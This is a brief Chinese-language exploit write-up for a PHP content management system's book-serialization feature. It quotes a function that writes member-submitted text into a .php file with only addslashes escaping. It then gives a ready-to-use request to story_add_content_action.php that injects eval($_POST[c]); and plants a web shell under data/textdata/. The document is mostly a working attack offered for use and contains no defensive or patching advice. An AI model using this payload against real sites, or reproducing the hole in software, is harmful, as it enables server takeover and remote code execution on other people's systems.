最早見於http://groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
經過研究發現。可以很方便的寫入一個小馬,前提是服務器開放會員系統,而且有圖書連載裏有類別。
漏洞代碼如下:
include/inc_bookfunctions.php
function WriteBookText($cid,$body)
{
global $cfg_cmspath,$cfg_basedir;
$ipath = $cfg_cmspath."/data/textdata";
$tpath = ceil($cid/5000);
if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
$bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php";
$body = "<"."?php/r/n".$body."/r/n?".">";
@$fp = fopen($bookfile,'w');
@flock($fp);
@fwrite($fp,$body);
@fclose($fp);
}
member/story_add_content_action.php
WriteBookText($arcID,addslashes($body));
可以看到,只是用addslashes進行了轉義。但是$body = "<"."?php/r/n".$body."/r/n?".">";很明顯可以寫入一個小馬的。呵呵。
利用方法
http://www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1
這樣就在data/textdata/目錄下生成小馬。 默認爲data/textdata/1/bk1.php